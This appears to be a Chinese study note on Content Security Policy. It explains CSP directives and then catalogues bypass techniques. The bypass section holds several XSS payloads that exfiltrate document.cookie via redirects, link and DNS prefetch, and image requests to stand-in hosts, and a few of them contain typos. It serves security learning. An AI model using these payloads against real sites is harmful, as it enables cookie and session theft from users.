CSP策略
CSP指的是内容安全策略,作用是防xss攻击,CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。可以在HTTP header上使用,也可以以在html meta标签上使用—
推荐文章
前端防御的开始: 从基本的防御xss思路开始,讲到csp防御策略及bypass思路,逻辑比较清晰,一步一步升级
CSP学习笔记(持续学习更新) 有一些ctf案例
一个CSP头由多组CSP策略组成,中间由分号分隔,就像这样:
1 | Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' |
一、常用的策略指令:
default-src 指令定义了那些没有被更精确指令指定的安全策略。
child-src 指定定义了 web workers 以及嵌套的浏览上下文(如<frame>和<iframe>)的源。
connect-src 定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的连接来源。
font-src 定义了字体加载的有效来源
img-src 定义了页面中图片和图标的有效来源
media-src
object-src
script-src 定义了页面中Javascript的有效来源
style-src 定义了页面中CSS样式的有效来源
sandbox 沙盒模式,会阻止弹窗js的执行
二、内容源:
内容源有三种:源列表、关键字和数据
1、源列表
1 | 源列表是一个字符串,指定了一个或多个互联网主机(通过主机名或 IP 地址),和可选的或端口号。站点地址可以包含可选的通配符前缀 (星号, '*'),端口号也可以使用通配符 (同样是 '*') 来表明所有合法端口都是有效来源。主机通过空格分隔。 |
2、关键字
1 | ‘none’ |
3、数据
1 | data: |
1 | 例: |
4、配置示例
1 | default-src 'self'; //只允许同源下的资源 |
三、CSP绕过方式
1、default-src ‘none’ ———-> url跳转
在default-src ‘none’的情况下,可以使用meta标签实现跳转
1 | <meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" > |
2、script-src ‘self’ ‘unsafe-inline’ ———-> 内联脚本
在允许unsafe-inline的情况下,意味着可以执行脚本,但是要跨过可信域的限制,可以有以下几种方法:
1、可以用window.location,或者window.open之类的方法进行跳转绕过。
1
2
3<script>location.href=http://lorexxar.cn?a+document.cookie</script>
<script>windows.open(http://lorexxar.cn?a=+document.cooke)</script>
<meta http-equiv="refresh" content="5;http://lorexxar.cn?c=[cookie]">原因其实也很简单,大部分的网站跳转都还是要依赖前端进行的,所以无法对location.href做出限制
因此还可以衍生出非常多的绕过方式
比如动态创建元素,再引发页面跳转1
2
3var a=document.createElement("a");
a.href='http://www.xss.com/?c='+escape(document.cookie);
a.click();2、 js生成link prefetch(chrome)
1
2
3
4var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//ssssss.com/?" + document.cookie);
document.head.appendChild(n0t);
3、script-src ‘nonce-{random-str}’
有些网站限制只有某些脚本才能使用,往往会使用\<script>标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样:
1 | Content-Security-Policy: default-src 'none';script-src 'nonce-{random-str}' |
针对这种设置,一种思路是通过浏览器缓存来bypass https://lorexxar.cn/2017/05/16/nonce-bypass-script/
另外一种针对script的最普通最常见的CSP规则,只允许加载当前域的js。
1 | header("Content-Security-Policy: default-src 'self'; script-src 'self' "); |
站内总会有上传图片的地方,如果我们上传一个内容为js的图片,图片就在网站的当前域下了。直接加载上传的js
4、script-src http://127.0.0.1/a/ ————-> 摆脱目录限制
很明显的,如果我们的script-src设置为某个目录,通过这个目录下的302跳转,是可以绕过csp读取到另一个目录下的脚本的。
在我的例子是这样设置的
1 | Content-Security-Policy: default-src 'self';script-src http://127.0.0.1/a/ ; |
csp限制了/a/目录,而我们的目标脚本在/b/目录下则如果这时候请求redirect页面去访问/b/下的脚本
是可以通过csp的检查的,比如
1 | <script src="http://127.0.0.1/a/redirect.php?url=/b/2" ></script> |
但是就如官网中描述的,加载的资源所在的域必须和自身处于同域下(example.com)也就是不可能通过302跳转去加载一个其他域下的脚本的。
比如通过a.com的302跳转去加载b.com下的脚本所以这种方法仍然有一定的局限性,但是对于那些限制死了只能加载某个目录下的js的情况
仍然有比较好的绕过效果
ps:http://bobao.360.cn/learning/detail/3245.html
5、标签漏洞
CSP除了阻止不可信js的解析以外,还有一个功能是组织向不可信域的请求。
在该CSP规则下(script-src ‘self’),如果我们尝试加载外域的图片,就会被阻止。在CSP1.0中,对于link的限制并不完整,不同浏览器包括chrome和firefox对CSP的支持都不完整
CSP对link标签的预加载功能考虑不完善。
在Chrome下,可以使用如下标签发送cookie
1 | <link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]"> (H5预加载) |
在Firefox下,可以将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie
1 | <link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">(DNS预加载) |
6、
标签漏洞
由于大部分网站需要用到图片外链,因此其img-src往往设置为img-src *
1 | var i=document.createElement("img"); |
这样就轻而易举的把cookie传输出去了。
7、构造既定标签解析字符串
如下面js:
1 | // <input id="cmd" value="alert,safe string"> |
从既定的标签中解析字符串当作js执行。
8、CSP克星—jsonp
Jsonp(JSON with Padding) 是 json 的一种”使用模式”,可以让网页从别的域名(网站)那获取资料,即跨域读取数据。关于json及jsonp攻击内容比较多,再另行更新笔记。
0、注意点
script-src和object-src是必设的,除非设置了default-src。
因为攻击者只要能注入脚本,其他限制都可以规避。而object-src必设是因为 Flash 里面可以执行外部脚本。
script-src不能使用unsafe-inline关键字(除非伴随一个nonce值),也不能允许设置data:URL。
工具
CSP-Bypass – BurpSuite CSP绕过检测插件
https://github.com/moloch–/CSP-Bypass